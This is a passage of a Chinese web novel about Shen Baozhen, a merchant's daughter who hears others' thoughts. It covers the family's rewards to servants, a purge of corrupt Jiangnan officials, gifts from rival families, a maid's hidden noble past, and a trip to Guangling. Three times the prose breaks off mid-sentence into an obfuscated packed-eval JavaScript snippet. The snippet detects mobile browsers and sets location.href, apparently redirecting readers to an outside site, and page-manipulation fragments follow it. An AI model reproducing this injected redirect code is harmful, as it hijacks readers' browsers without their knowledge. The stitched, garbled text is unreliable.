“官署很快知晓，只得有所动作，与此同时，沈家于花子巷等多处施粥，前来领用者不乏宸幼局的孤寡、路边乞儿、贫苦之家……” “因施粥之事已有章程，只惜竹一人看顾即可，以便奴婢和宛梅随侍小姐身侧。” “至于花费为何逐月缩减，这都是惜竹的功劳。” 说到关键，崔芙卖起了关子。 “嗯，继续。”沈宝珍忽地睁开眼。 鉴于惜竹只会埋头干事，不会邀功，崔芙用了小半柱香的功夫，叙述了她的所作所为。 简而言之，绞尽脑汁为主家省钱。 或许是，惜竹打记事起，家里就穷得叮当响，一个铜板要掰成两半花，最后还把她卖了。 使得她在“节流”这方面，有着无师自通的惊人天赋。 明明沈家不差钱，小姐又是大方的主，给的活动经费根本花不完。 起初是施粥剩下的锅底，她当晚饭。 宛梅发现，加入，崔芙被迫参与后，三人不够分，惜竹喝起了涮锅水。 好说歹说，把人劝住了。 改成出门不吃早饭，等粥煮好连带着午饭一起解决。 宛梅有样学样，毕竟也是苦日子熬过来的。 崔芙勉强撑了几天，饿得脑袋发懵，四肢打飘。 忍无可忍，溜之大吉。 为了不扎眼，还捎上了宛梅。 就有了一开始说的，让惜竹独担重任。 三人行，惜竹一心做好分内事；独当一面了，不免添加自己的想法。 比如，每日煮粥的人手，怎么就不能是领粥的某某？ 自己动手，丰衣足食。 又比如，施粥是为了果腹，施米难道就不行了？ 劳力换取、以柴换米。 再比如，攒有余粮心不慌，不就有精力谋生计？ 寒冬跑腿，腊月送炭。 …… 从被动等待赈济，到自给自足为长远计，崔芙没料到会是这个走向。 【官署都想不到让宸幼局和宸济院运转起来，被一个小丫鬟做到了，啧啧啧。】 【人不可貌相，海水不可斗量，无底洞竟有填上的迹象，佩服。】 “不错。”但她不需要省钱啊？！ 刚说完，惜竹就同流冬几人走了进来。 发现沈宝珍等人都看向自己，不好意思地扯了扯衣衫。 “惜竹，小姐夸你了。”看着她局促得手脚不知往哪放，崔芙噗呲乐了。 “小姐知道你做的事了。”知春拿起一本账册。 “小姐说，不错。”宛梅激动地对她说。 “都是奴婢应该做的。” “授人以鱼不如授人以渔，你比我想得周全。”沈宝珍就事论事道：“该赏！” “惜竹做什么了？” “小姐都还没夸过我。” “快同我说说。” “发生什么事了？” 状况外的流冬三人，围着惜竹宛梅叽叽喳喳。 …… 睡前，抚秋扭扭捏捏透露，源兴绸缎庄的刺绣师傅，屡次三番央她留下。 “这是好事。”沈宝珍一喜。 “小姐不要奴婢了？”只想凸显自己的一丢丢价值，并非请离的抚秋，委屈极了。 “没有。”只是高兴你凭本事找到下家。 【小姐骗人，明明就有。】 沈宝珍心虚地偏头，假装要睡觉了。 翌日。 “小姐，莫声说奴婢可以出师了。”沉夏喜滋滋跑来。 一早被找、要求对打的张武颔首，只觉下身不可言说的部位隐隐作痛。 【个小灵活、心黑脚辣，再不让她出师，自己就要出事了。】 “嗯？”沈宝珍不明所以。 “小姐，奴婢还有个不情之请。” 不待沈宝珍细问。 沉夏迫不及待提出想教惜竹、宛梅、芙蕖几手，不求她们保护小姐，但求不拖后腿。 惜竹：好耶！ 宛梅：好耶！ 崔芙：拒绝？ 沉夏活动着手腕，咔咔作响：可以试试。 【想跑？没门！趁机独占小姐的账，还没同你们算呢。】 沈宝珍：……不是，怎么没完了。 与此同时，苏州，巡抚衙门。 四大家族并沈家夫妇，悲愤填膺地揭露这些年，江宁知府向他们索贿的经过。 "大人明鉴！" …… 吴瘸子、王麻子等贼寇，被先一步押送至此。 从折返的张武等人言语中，探得周巡抚态度后，沈福达和岑内琇决定亲自跑一趟。 稳妥起见，哦不，是为改变四大家族被清算的命运，夫妇俩诚邀他们一同前往。 知晓爹爹娘亲与四大家族话事人在苏州忙，沈宝珍便派人，请留守金陵城中的谢谰语、伍珂玥、魏雅、万曦来温泉庄子，洗去冬日凝滞。 “沈妹妹有这么一处温泉庄子，竟藏到现在才说。” “路途遥远，便是告知你们，也不见得来，省得费口舌了。” “现在我们不就来了？”谢谰语回。 “花了小半个时辰，没有多远，马车上坐着也不颠簸。”伍珂玥附和。 “那是因为修了路。”沈宝珍道。 “修路？难不成是去岁我们各凑了五万两铺的路？”万曦抓住了重点。 【言不妄发，行不躁进。沈宝珍真的变了许多，兄长怎么就不信？执着于娶官家女子，还说什么要为未来嫂子守身如玉，唉。】 从崔芙心声，探得万家大少爷养着几个外室的沈宝珍：守身如玉？ “这才是你邀我们来这一趟的缘由吧？”魏雅了然。 “各家出了五万两，难道你们就不关心银子究竟花到哪去了？成效如何？”沈宝珍不答反问。 谢谰语：【怎么可能不关心？我都好奇死了好嘛？都怕你们沈家将钱私吞了。】 伍珂玥：【用不着我关心，爹娘比我还上心，大哥年关回来，还夸捐款架桥、铺路、建凉亭、挖陂塘这事干得好，尤其是看到我的名字连着伍氏家族，在路碑之首后。】 魏雅：【可能不是自己的私房，哪怕是五万两，都没有什么感觉。如果说两万两，我肯定寝食难安，毕竟我真有这个数。不过，陈家那边居然来信赞赏，倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816116|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是意外之喜。】 万曦：【花五万两，就能笼络金陵学子心，很划算的一笔买卖。】 四人心思各异，嘴上都说着相信沈家会把事情办妥。 沈宝珍也不拆穿，将这笔款项的账册交由四人查阅，其中，详细记录了各项支出状况、建设成果以及余钱的安排。 桥、路、凉亭、陂塘所铸石碑上，应沈宝珍强烈要求，由谢谰语四人轮居首位。 希望在接下来的风波中，能因此发挥些许作用。 * 二月初六，惊蛰，春雷滚滚。 宜用清香、艾草熏屋角，驱蛇虫，“打小人”。 也是这日，金陵城，甚至江南官场进行了“大清洗”，揪出一连串的贪官污吏，连带着贿赂他们谋取私利的富户乡绅。 四大家族赫然在列，念及主动坦白，于乡里修桥补路，惠泽一方，允捐粮以赎刑…… “爹爹、娘亲，我们家也是捐粮吗？”沈宝珍松了一口气。 比照梦中四大家族被连根拔起，这个结果跟没受罚一样。 “我们家是真真正正被姚知府索贿，可不是主动行贿。”沈福达解释道。 【想到这茬就觉得亏！大晟朝律令，居然有规定，索贿所得，一律没官，没收归国库，无权直接追回。】 【原本还想着，把每一笔银子记录在册，等知府倒台就能如数拿回，权当让他暂存了，所以给出去时，没有太痛苦，这下好了，打水漂了。】 【皇帝不是富有四海？还差这点？好没道理。】 沈宝珍假装什么都没听见。 岑内琇接着道：“古人云俭以养德，得亏守财有道，方能化险为夷。” 【都不知道该说那几家走运，还是倒霉，摊上常平仓、广济仓被倒卖空了，获得捐粮赎刑，可要将江南各府亏空的粮仓填满，哪怕是金陵四大家族合力，也要伤筋动骨。】 【如果没记错，好像还有禄米仓、转运仓，啧啧啧，这是摆明了趁火打劫啊，但也好过抄家下大狱。】 【说起来，那几家是不是忘了什么，要不是乖宝心善，带着他们闺女建凉亭挖陂塘，哪有什么网开一面，直接抄家朝廷还更省事了。】 沈宝珍豁然开朗。“爹爹娘亲，我明白了。” 二人笑问：“乖宝明白什么了？” “天道无亲，常与善人。” “……也对。” 【若不是乖宝捐了三十万两，朝廷或许也会将沈家纳入捐粮赎刑行列，才不会管有心还是无意，只要涉案，通通惩处，毕竟这么大一个窟窿，总得多找些冤大头来填。】 【还有就是江南一带贪官污吏、富户乡绅名下的产业、良田，虽说充公了，但也是能买卖的，曾被迫害的那些人，无疑是最有资格接手的存在。】 【金陵“姚知府”名下的生意、田地，沈家享有优先权，但只要了米行，青楼、赌庄什么的，还是算了吧，田地拿下太扎眼，也没要。】 【反正别处多的是，受害方有想法没本钱，沈家有本钱不想露头，双方一拍即合，有力出力，有钱出钱，合作共赢，今年指定能多收三成分红。】 “很多吗？”见沈福达只是想想，就红光满面，沈宝珍莫名生出一丝紧张。 “不多。”他都不好意思说数。 主要还是躺着就进账的感觉，让人不可自拔。 “那就好。”沈宝珍呼吸变得顺畅。 沈福达和岑内琇：？？？ 乖宝这模样，怎么像是在庆幸赚得不多。 * 22. 第 22 章 另一边。 周弘言在金陵募资三十万两，雇民修河固堤这事，彻底瞒不住了。 对于这波操作，皇帝有点说不出来的恼火，但取之于民用之于民，也不能说周弘言做错了，只能暗骂几句了事。 最重要的是，苏河治理，已经过半。 钱都花完了大半，又不能从役民手里要回来，还能怎么办。 其他官员闻弦知雅意，如两江总督。 明里暗里提点周弘言，此举若是说严重些，等同藐视皇权，横征暴敛，滥用民脂民膏，话里话外的意思就是劝他速速把剩下的银子，交由陛下定夺。 江南官场太烂，坐镇此地的两江总督难辞其咎。 却没被问责，就很有深意。 刀悬而未决，便格外迫切想做点什么，让皇帝能看到自己的忠心。 国库空虚，最简单快速的，就是这笔善银了。 周弘言拒绝的态度，同样坚决。 修河固堤专款，还不是朝廷拨下来的，挪作他用免谈！ 两江总督气得跳脚，还奈何不得。 江苏巡抚掌握赋税和民政实权，直接对皇帝负责，无需听命于他。 只得退而求其次，寄希望于江南沿江各府重募了。 * 风波定，沈家。 “芙蕖，出的主意甚好，请君入瓮智擒歹人，赏百两。” “徐力、薛二，奋不顾身摸黑抓瞎报官，各赏百两。” “莫声，一心护主，亲手设陷阱，以身相替守门老仆迷惑贼子，赏两百两！” “青松、沉夏、知春、抚秋、流冬、惜竹、宛梅……” 沈福达站在上首朗声宣布着，底下鸦雀无声。 他们根本没想到聚集在此，会是论功行赏。 这在沈家，不，应该说是任何一个家族，几乎都是不可能的。 因为，下人为主子豁出性命，都是理所应当的事。 虽是有功，也会奖赏，但如此大张旗鼓大手笔的场面，搞得像犒赏三军一样，还真是头回见识。 留守城中沈家宅子的仆从们懊恼不已，赏的最少都有三十两，顶一年的月例，他们怎么就没跟着去啊？ 去了忝隐山温泉庄子，但畏畏缩缩的下人悔得肠子都要青了，大好的挣钱机会居然就这么错过了。 出主意，一百两。 去报官，一百两。 设陷阱，两百两。 抓贼寇，一百两。 …… 崔芙看着到手的百两纹银，有种拿起来咬一口确认真假的冲动。 【有了这笔银子，回京城的盘缠，算是不用愁了。】 【但，小姐的如意郎君，还是没着落，金陵城排得上号的适龄男子，多多少少有点问题。要不，把这笔钱用来打听金陵城以外的消息？】 【反正回崔家这事，得从长计议，失踪半年之久，不用回去都知道会被如何编排，得想想怎么把泼身上的污水洗干净。】 徐力和薛二激动得热泪盈眶，一个看向管家老爹，一个巴巴瞅着银锭。 【老爹，我出息了！】 【银子，好多好多银子。】 张武佯装淡定，但心里活动暴露了他。 【两百两，要是早有这两百两就好了……在沈家吃穿不愁，有银子都不知道怎么花了，托人给将军送去？对，就这么办。】 【老子当兵打仗那么些年，杀敌没有一百也有八十，加起来的赏银都没这一次多。】 【在沈家当差属实快哉，得多花点功夫在薛二这些随从身上了，实力还是太弱了，轻轻松松就能被撂倒，与其指望他们保护小姐，还不如沉夏一个小姑娘。】 【说到底，不够忠心，缺乏胆色，真遇着事，下意识就想着顾全自己，啧……还是我们行伍出身，沾过血的，更靠得住啊！】 【咦？营中像自己这样灰溜溜走的，很少，但缺胳膊断腿伤退的，多的是啊，犹记得将军说过，他们当中大部分人其实有痊愈的希望，苦于缺银少药……如果招揽一批这样的人来沈家做护卫，问题不就解决了？】 越想越觉得可行，张武猛地双手一拍。 掌心相击发出清脆的响声，又立刻交叠着搓了搓，像是要把那股压不住的欢喜揉进手心里。 指节无意识地轻叩着手背，嘴角越咧越高。 沈宝珍眉梢微不可察地一挑，眼底倏地掠过一丝亮色。 还真是瞌睡遇着了枕头。 眼下，金陵四大家族没垮台，可沈家还是走着上坡路。 这说明，梦中事，是可以改变的，但有些轨迹，冥冥中注定了。 沈宝珍不知道，来年春日卷入的那场浩劫，究竟属前者还是后者。 她只知道，凡事要做最坏的打算，有备无患！ 如此，忠勇双全的护卫，必不可少。 除夕夜温泉庄子的境遇，更是证明了这点。 培养显然来不及，但愿能重金募得。 回到芳菲院，沈宝珍坦言自己的打算。 一向沉默寡言的张武，这次率先冲出来表态。 “小姐英明！” “忠勇双全，还愿屈就，偌大的金陵，怕是也找不出。”崔芙嘀咕道。 “金陵没有，放眼天下。”张武豪情万丈。 青松扯了扯他的袖子，别吹。 被张武一把甩开，小孩懂啥。 “既如此，护卫一事，便交由你全权负责，意下如何？”沈宝珍意味深长道：“但如所求，不惜代价。” “卑职领命！”张武激动地无以复加，想什么来什么，遇到这样的主子，半夜睡觉都会笑醒。 他还想着要怎么解释，有不少合适人选，但行动可能不太方便，兴许要…额…… 现在好了，不用抓耳挠腮了。 【卑职？他真是猎户出身？】崔芙狐疑地看向人高马大，脸色一道骇人刀疤的“同僚”。 联想到自己自称在京城大户人家家里当过丫鬟，越发笃定张武隐瞒了真实身份。 【总觉得莫声这个名字，也是假的。好几回喊他，都不带应答。小姐把这么重要的事情交给他，我都有点不放心了。】 “方才，盯着我作甚？”脱离沈宝珍视线范围，张武扭头看向心思深沉，还以为自己装得很好的小丫鬟。 真傻还是装傻扎堆时，其实很容易分辨。 “万望你，不辜负小姐的信重。”崔芙认真道。 “用你说。”张武直言。 “……”莽夫。 数日后，梦溪堂。 将新出的话本子买下，沈宝珍被万曦亲迎至二楼厢房。 “沈妹妹。”入内，见到魏雅三人。 “好巧。”沈宝珍有些意外。 “不巧，我们在等你。” “等我？你们怎会知道我今日出门来此？” “算算日子，你在家中也该待腻了。”万曦道。 沈宝珍一囧，还真是这样。 【吩咐人在沈家大门外蹲守，一有消息就赶过来等着。】万曦在心里补充道。 沈宝珍：？？？ “沈妹妹大恩，非只言片语所能答谢，以茶代酒，先敬你一杯。”谢谰语端起茶水一口闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828643|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 有人开了头，万曦等人也不兜圈子了。 “愿效陆羽烹茶礼，代君涤尽世间尘。” “荷蒙相助，寸心铭刻。” “恩同再造，此生不忘。” “自助为因，天助为果，我于你们有哪门子恩？”沈宝珍哭笑不得。 “沈妹妹用心良苦，我们都懂。略备薄礼，万望收下。” “嗯。”“对。”“是。” 看着几乎一模一样的四个木匣，沈宝珍沉默了会，缓缓道：“聊点其他的吧。”齁得慌。 “好。” 轮到她们沉默了。 【聊什么？难道说自家这阵子忙着捐粮的琐事？】 【金陵除了知府和她们几家的事，好像没什么新鲜的话题。】 【据说，两江总督号召除金陵、苏南五府以外的各地募资修河固堤，这事好像有点意思……涉及总督大人，还是算了吧。】 【说我的亲事？照如今家中境况，陈家会不会退婚还不一定，就算如期，怕也给不了多少嫁妆了，幸好攒的银两还剩一半，唉。】 沈宝珍：归心似箭。 终于散场，一下马车，直奔朝晖居，将四份谢礼交由真正出力的爹爹娘亲。 “梦溪堂的红契？”沈福达打开其中一个木匣。 沈宝珍一惊，她根本没看里面是什么。 梦溪堂是万家的标志性产业，怎么会用它当谢礼？太贵重了。“早知道不收了。” “确实亏大了。”沈福达撇嘴，肉眼可见的嫌弃。 沈宝珍：？？？ “金陵四大家族捐粮赎刑闹得沸沸扬扬，整天之乎者也的那群文人，以进出过梦溪堂为耻，生意一落千丈。 就连去岁夺得诗会魁首，据说坦荡守穷的书院才子，都上门退亲了。” “江南官仓亏空，民争趋市，粮价持续走高，供不应求。 万家明明有意将梦溪堂折兑应急，如今却把它当谢礼送来，摆明了是欺负乖宝你年纪小、脸皮薄、好糊弄。 不行，我得去万家一趟，这事做得太不地道！”沈福达解释道。 “我去谢家！”开另一个匣子，拿出长青裳坊两成干股的岑内琇同样窝火。 【早就猜到长青裳坊背后有人，不然哪来胆子找麻烦，还闹到知府衙门去，没想到，竟是谢家！好啊，好得很！ 两成，区区两成，谁稀罕？沈家都有长青裳坊三成干股了！】 “爹爹娘亲…”沈宝珍欲说还休。 都快走出院子的夫妻俩，将脚收了回来，互看一眼后叹了口气。 “他们怕是算准了。” “难怪让小辈出面。” “罢了。” “姑且看在乖宝同她们几个小姑娘有点子交情的份上。” 见爹爹娘亲止步，沈宝珍快速将剩下两个木匣打开，以期能让他们消消火。 伍家送的是游船并船引船照，魏家则是一沓银票。 “伍家送的这条游船，可以在江南一带活动，这份谢礼勉强过关。”沈福达脸色稍缓。 通行江南的船照和船引，这份谢礼不算轻。 “魏家是活不起了吗？”扫了眼各种面值的一沓银票，岑内琇差点没撅过去。“打发叫花子是吧？” “这应该不是魏家准备的，而是魏雅存的体己。”沈宝珍抚过银票的指尖微微一颤。 “行吧。” 岑内琇在心里破口大骂：【魏家人忒不是东西！把一个个姑娘家往火坑里推就算了，连救命之恩都不愿意报答，活该走下坡路！】 此消彼长。 23. 第 23 章 回到芳菲院，沈宝珍百感交集。 随手拿起一本话本子调节。 翻开，穷秀才和俏佳人。 第二本，梁上君子和大家闺秀。 第三本，落魄公子和世家贵女。 …… 啪嗒—— “小姐，你怎么了？” “好气。”调节失败，沈宝珍星眸含嗔。 崔芙视线落到她翻开过的话本子上。 “是因为……它们？” “嗯。” “奴婢可以瞧瞧吗？” “拿去。”沈宝珍别过脸，连封面都不想看了。 片刻后，崔芙朱唇微抿。 【怎么就不能是穷佳人和俏秀才？】 【梁上君子，上不沾天下不着地，该报官蹲大狱。】 【落魄公子和世家贵女？无趣。换成落魄贵女和世家公子，对味了。】 …… 因沈宝珍气呼呼，崔芙草草扫了眼后，柔声安抚道：“要不，奴婢给小姐讲个故事？” “好。”沈宝珍作乖巧状。 崔芙莞尔。 “三十多年前，有位姓梁的将军，战无不胜，攻无不克。一次凯旋而归，路遇嚎啕大哭的稚童，下马细问，知其痛失双亲无所依，遂将其收为义子。” “小童姓崔，无习武天赋，梁将军便送他去学堂读书识字，此后十数年，从童生，到秀才，再是举人，最终科举入仕。” “梁将军则是沉疴复发，于病榻前，将唯一的女儿托付给了他。” “崔大人娶了义妹，言明自己心有所属，对她无男女之情，只有责任，在她怀了身孕后，纳了个妾室进门，是他恩师之女，红袖添香，好不快活。” “十月怀胎，发妻生下一名女婴，独自养育三载，郁郁而终。” “同年，崔大人将妾室柳氏扶正，二人育有两子一女。 “原配所出于崔大人，是责任延续，柳氏所生两子一女于他，是娇妻爱子。” “父母之爱子，则为之计深远。梁氏死前，为女儿定了门不错的亲事。其及笄宴当日，男方家派了人来添礼，崔大人和柳氏方知晓此事。” “崔大人忆起义妹梁氏、视他如己出的义父梁将军，对自己冷落的长女多了些关心。” “柳氏想到的是，自己本可嫁崔大人为妻，若非梁氏父女挟恩图报，她不必委曲求全……她的女儿，就会是唯一的嫡女，新仇旧怨，在见到婚书上言明女方为崔氏嫡女后，化作行动。” 说到这，崔芙变得面无表情。 【一觉醒来，就被牙人训诫，沦为卖身奴仆，辗转至金陵。】 “然后呢，然后呢？”沉夏几人支起了耳朵，听到重点居然断了，没忍住催促。 “然后，崔氏嫡长女下落不明，一夜之间消息传遍京城，有人说，她不知检点与人私奔，有人说，她被贼人掳了去，失了清白，无颜苟活。” “岂有此理！” “太过分了！” “忘恩负义！” “狼心狗肺！” “丧心病狂！” “最毒妇人心！” “仗义每多屠狗辈，负心多是读书人。”继丫鬟们点评后，沈宝珍幽幽道。 崔芙侧首轻笑。“小姐说得对极。” “崔姑娘到底去哪了？”知春好奇道。 “女儿失踪了，她爹不找吗？”沉夏想不通。 “能在京城当大官，有心怎么可能没消息？”抚秋嗤声。 “不会是被柳氏毒死了吧？”流冬脑洞大开。 “有了后娘就有后爹，女儿不见了不找，还任由谣言满天飞，另一个女儿名声也不会好到哪里去！”惜竹几乎感同身受。 “他爹真不是个好东西。”宛梅附和。 想象着自己将崔家搅得天翻地覆，崔芙露出个玩味的笑：“过了几年，崔家嫡长女回到了京城，把本该属于她的一切都抢了回来，喜欢也好，不喜欢也罢，是无论如何都不会便宜旁人半分的。” “换个结局。”沈宝珍的话带着弦外之音。 “所谓下落不明的崔氏嫡长女，实则被梁氏族人带到了江南，概因崔父不配教养梁氏明珠。” “将门遗烈，绍休前绪；忧国忘私，实有祖父之风。她在江南仗义疏财、扶危济困的美名传回了京城，谣言不攻自破。” 崔芙笑容一滞：？？？ “小姐不愧看遍了全金陵的话本子。”沉夏拍手叫好。 沈宝珍一时语塞。 “大妙结局！若得如是，虽死无憾矣。”崔芙心生向往，转瞬垂眸掩住眼底凄然。 【可惜，世事难遂人愿。祖父祖母皆是北地遗孤，相依长大，并无族人，更别说出现在江南了，自己更是卖身为奴。】 听罢，沈宝珍默了片刻，温声道：“既如此，便坐实这出。” 是真是假，谁能分清？ 她正愁不知用什么名头，响应两江总督号召的募资事宜呢。 用于治河固堤，防患于未然，怎么能错过？ 四大家族元气大伤，沈家扶摇直上，败家大计不能停。 但，钱可以花，名不能显。 再者，崔芙进过沈家门，算半个自己人，怎么能任其被贬低欺辱，她不要面子的嘛？ 崔芙像被幸运的雷电劈中，浑身发麻。 三天后。 准备妥当，远行招募护卫，同往渡口的张武，欲言又止。 上船后，他终是问出了口：“你到底给小姐灌了什么迷魂汤？” “我不明白你的意思。”做戏做全套，焕然一新，气质截然不同的崔芙，挥退聘的丫鬟嬷嬷，浅笑嫣然。 “万望你，不辜负小姐的信重吧。”张武语重心长。 “嗯。” “……”为什么突然有种，矮了她半截的感觉。 沈家，朝晖居。 得知沈宝珍因为话本子动了气。 沈福达二话不说，去了趟万家和官署。 “爹爹，你这是？” “梦溪堂打今儿起，真真正正是乖宝你的了，话本子有的是，因一册两册生气不值当。”沈福达迟到的安慰。 【门可罗雀也好，只需刊印话本子。】 “啊这…爹爹娘亲…其实我不太喜欢看话本子了。” “难道是喜欢听说书了？赶明儿我请个戏班子上门，保管比丫鬟们讲得好。” “不是，有梦溪堂就够了，我等不及想去瞧瞧。”沈宝珍说着起身离开，生怕多待一会，又被爹爹娘亲塞上点什么。 观她一如既往心境澄明、步履轻盈，沈福达和岑内琇紧绷着的胸口终于松泛，长舒一口气，连带着眉间的愁绪也悄然化开。 “我真恨不能亲手剐了姚家父子的皮，竟想对乖宝下手，不知死活！” “乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841870|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝应是不知道，他有那么肮脏龌龊的心思。” “派人专程送来他们的临终陈词，那位巡抚大人究竟有何用意？” “哼，盯上咱家的粮了。” “新粮？” “想得美，最多给他陈粮。” “什么价？” “市价。” “那还行。” “年初的市价。” “他干脆来抢好了。” “嘿，我也是这么说的。” “然后呢？” “他说，盛情难却。” “？？？” …… 苏州，渡口。 “父亲，我们就这么去沈家拜访，会不会太冒昧了？”船只离岸，驶向江宁，周兰溪赧然垂首。 “为父日前收到回信，沈家高义，言明襄助。” 四大家族捐粮赎刑，先行填满了小有亏空的禄米仓和转运仓。 为不引起粮荒，侵吞殆尽的常平仓和广义仓，延至春粮下来后购置。 岂料，粮价随行就市上涨，引得外来粮商聚集，价格进一步推高。 禄米仓支持各地官署运转、转运仓保障沿江驻军供应，试图暂调平抑粮价，却过不了两江总督那关。 江南百姓从淡定观望到闻价兴叹，地里庄稼青黄不接，家无余粮者苦不堪言。 唯金陵粮价相对平稳，据悉，沈家丰稷杂粮铺出力甚大。 沈家多田庄，年年丰收，河淤肥田，今年更甚。 所以，周弘言想到借粮。 是的，借粮。 因为，没钱。 贪污受贿的赃款悉数归入国库，巡抚衙门能支配的银两，就只有治河善款，这是坚决不能挪作他用的。 “……” 从脱（抹）不开身（脸）的母亲口中，探得实情的周兰溪蔫了声，父亲好像被什么蒙蔽了心智般。 沈家婉言谢绝的信是上午到的，她们这支“抢”粮队是下午出发的。 背对着他的周弘言，惭怍交织。 思及饥民菜色，靦颜求商，不得不尔。 船抵金陵之际，沈家夫妇带着沈宝珍，坐上了伍氏，哦不，现在是沈家的游船，出发广陵，观龙舟试水。 消息灵通的沈福达和岑内琇，顿感庆幸。 “好险，差点撞上了。” “幸好没将伍氏族记除去。” “应该不会追上来吧？” “绝不可能！伍家这船刚送来没几日，都没来得及去官署备案，就算知道了，也不可能猜出我们去广陵了，我同管家说的都是去避暑山庄监工，谅他神通广大，也遍寻不着。” “伍氏这条船，送的挺及时。” “勉勉强强凑合吧。” “别在乖宝跟前说漏嘴，也别想这出。” “知道，把心放肚子里吧，我们此行只为带乖宝游玩。” “对！” 甲板上两人达成一致，笑着进入船舱。 “爹爹娘亲，广陵夜市兴盛，还有庙会，我们能不能多待几日？”听舫主介绍广陵的沈宝珍，不由期待起这次临时起意的旅程。 “当然可以。” “好不容易出来一回，怎么也得待上十天半月。” “嗯嗯。”沈宝珍雀跃不已。 另一边，没吃闭门羹，反被热情接待的周弘言父女俩，开始了全城乱窜的短暂时光。 24. 高买低卖，不信不败 广陵。 晟朝漕运和盐运的咽喉，每年数以百万计的船只在此中转，各地商人络绎不绝。 以往，粮商在此将江南粮食转运或暂存，再经运河北上。 今年反过来了。 粮商从北方经运河南下，在广陵换船或休整，再转入江南各处。 沈宝珍一行人，等靠岸上岸，就耗费了小半个时辰。 待双脚落地，已经没了玩乐的兴致，只想快些洗洗睡觉。 次日，瘦西湖别院内。 “爹爹娘亲，我们今儿先去琼花观祭花神可好？” “好。”“依你。” 半个时辰后，琼花观。 见不少妇人鬓边簪着琼花，沈宝珍递给亲爹一个眼神。 会意的沈福达失笑，叫停岑内琇，将观主剪枝赠予的一枝琼花，簪在她的鬓边。 “琼花如妻，春光共惜。” “浑说什么，乖宝还在。”岑内琇颊飞红霞。 “咳，前方摊上似是琼花膏、琼花笺。”沈宝珍足尖转向扬声，知春等人紧随其后。 沈福达和岑内琇相视一笑，并肩赏花。 行至摊前的沈宝珍，阔气包圆，摊主笑得见牙不见眼，帮着送上马车。 马车停在琼花树旁，风吹花落，洁白如雪。 摊主离开前，咧嘴祝愿：“花落沾肩，三日内有财喜。” 知春等人听后，隐有期盼。 霎时，风停，花歇。 一众丫鬟，失望溢于言表。 沈宝珍见状，噗呲乐了。 “小姐。”抚秋面薄。 “今儿买的琼花膏，除了娘亲和我那两份，剩下都是你们的，自个看着分。” “谢小姐。”齐声应答，笑逐颜开。 傍晚，临河夜宴。 画舫穿梭而行，丝竹随波荡漾，坐品珍馐美馔的同时，沈宝珍还能听到各式各样的见闻。 【天下文士，半集维扬。盐商好附庸风雅，重金延聘名士，且得去试试座上宾的滋味。】 【十里长街市井连，广陵不愧是天下大都会，俗喜商贾，不事农业。】 【盐商一顿饭，渔户十年汗，金银堆北斗，造孽满乾坤，可悲可叹。】 【舳舻蔽日，帆樯如林，商船十之八九，同行的粮商不少，尽快将这批货脱手，春粮下来前，抓紧再跑一趟，肯定还有得赚。】 【听闻明月楼来了位京城贵女，待酒足饭饱，携友前往一睹芳容。】 …… “天下熙熙皆为利来，天下攘攘皆为利往，广陵看着比金陵热闹多了。”岑内琇感叹。 “两淮盐税占天下赋税之半，盐商巨富家产千万贯，百万谓之小商。”沈福达接话。 丫鬟们都快惊掉下巴，富成这样，不得吃一顿倒一顿？ “盐商竟如此……” 沈宝珍的话戛然而止。 【贩盐是门好生意，但易赚大钱难长命享。每逢三年五载，就有被朝廷揪出与官员勾结的盐商，垄断盐引、盐价高涨、私盐泛滥……总因各种各样的由头被料理。】 沈福达兀自感慨。【还是贩粮好。】 【广陵大户多的是，怎么就非跑金陵追着我们不放？打住，不能想。】岑内琇思维发散了一会，理智回笼。 沈宝珍敏锐地意识到，娘亲这是有秘密了，不想让她知道的那种。 “娘亲——” 有问题，当场问。 “嗯？”岑内琇有一丢丢心虚，但很快镇定下来。 【我是当娘的，有什么好怕的，又不是，唉！】 想到这句闺女也听得见，岑内琇扶额。 这才第二天呐。 沈福达看着打哑迷的娘俩。 【都不说话，怎么了这是？有什么是我这个当爹、当丈夫的不能听的？】 “爹爹，你和娘亲是不是有事瞒着我？”沈宝珍转移目标。 “没有。”沈福达下意识回。 “真的？” “千真万确。” “娘亲，是这样嘛？”沈宝珍狡黠地眨眨眼。 岑内琇绷不住了，被自己拙劣的遮掩惹得耳根发烫。“乖宝不是都听到了？” 沈宝珍撅着嘴哼哼唧唧。 “哈哈哈，行了，爹爹同你讲。”沈福达顿悟，仰首哂之。 岑内琇嗔了他一眼。 “说瞒着的是你，先坦白的还是你。” 沈福达两手一摊。“没办法，谁让我们乖宝聪慧过人呢。” “嗯，也对。”岑内琇嫣然抚髻。 这下，轮到沈宝珍不好意思了。 “爹爹——” “好好好，说正事。”沈福达拊掌。 